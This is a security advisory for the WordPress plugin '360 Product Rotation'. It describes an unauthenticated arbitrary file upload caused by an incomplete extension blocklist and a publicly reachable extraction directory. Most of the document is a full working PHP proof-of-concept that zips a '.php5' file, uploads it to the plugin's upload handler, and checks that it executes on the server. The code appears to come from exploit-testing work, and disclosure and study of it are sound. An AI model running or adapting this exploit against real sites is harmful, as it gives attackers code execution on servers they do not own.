360 Product Rotation [Unauthenticated Arbitrary File Upload]

Description

Plugin 360 Product Rotation offers it’s user a convenient way to upload a series of images for their WooCommerce products, in order to create a 360° view. The script allows it’s users to pack these images in zip file. The problem occurs because the upload handler lack of security check or those that are implemented fail to protect the users.

Upload script is in file 360-product-rotation/includes/plugin-media-upload.php, file should a compressed zip file. If upload is successful the plugin checks if there are any files in the archive with the following extensions: [‘php’,’php3’,’py’,’sh’]. If no files with those extensions are in the uploaded zip then all files are extracted in a dir under wp-content/uploads/yofla360 directory. This dir is directly accessible to anyone and the creation of sub-directories or filenames are easily guessable.

PoC

#!/usr/bin/env php
<?php
/*******************************************************************************
 * 360 Product Rotation - Unauthenticated Arbitrary File Upload
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
	Cli::writeError( 'You must enter a valid URL' );
	exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

Cli::writeInfo('putting together files...');

$fileName = uniqid().'.php5';
$zipFileName = uniqid();
$zipFilePath = sys_get_temp_dir().'/'.$zipFileName;

$verifyString = uniqid();

$zip = new ZipArchive();
if($zip->open($zipFilePath, ZipArchive::CREATE)!== true){
	ExitCodes::exitWithFailed('Unable to create zip file');
}

$zip->addFromString($fileName, "<?php echo '{$verifyString}';");
$zip->close();

Cli::writeInfo('Uploading the file...');

$uploadScriptUrl = Endpoint::pluginsURL().'/360-product-rotation/includes/plugin-media-upload.php';

$hooks = new \Requests_Hooks();
$hooks->register('curl.before_send', function($fp) use ($zipFileName, $zipFilePath) {
	$payload = [
		'--__FORM_BOUNDARY__',
		'Content-Disposition: form-data; name="FileInput"; filename="' . $zipFileName . '"',
		'Content-Type: application/zip',
		'',
		fread(fopen($zipFilePath, 'r'), filesize($zipFilePath)),
		'',
		'--__FORM_BOUNDARY__',
		'',
	];
	curl_setopt($fp, CURLOPT_POSTFIELDS, implode(CRLF, $payload));
});

$r = Requests::post(
	$uploadScriptUrl,
	[ 'Content-Type' => 'multipart/form-data; boundary=__FORM_BOUNDARY__', 'X-Requested-With' => 'XMLHttpRequest' ],
	[ ],
	[ 'hooks' => $hooks ]
);


if(!$r->success || !empty($r->body) || $r->status_code != 200){
	ExitCodes::exitWithFailed('Unable to upload file, maybe target is not exploitable or target path does not exists.');
}

Cli::writeSuccess('File uploaded, checking result...');

$uploadUrl = Endpoint::uploadsURL() . '/yofla360/' . $zipFileName . '/images/' . $fileName;

$r = Requests::get( $uploadUrl);

if($r->body!=$verifyString){
	ExitCodes::exitWithFailed('Unable to validate uploaded file');
}

ExitCodes::exitWithSuccess( 'Script uploaded, url: ' . $uploadUrl);

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX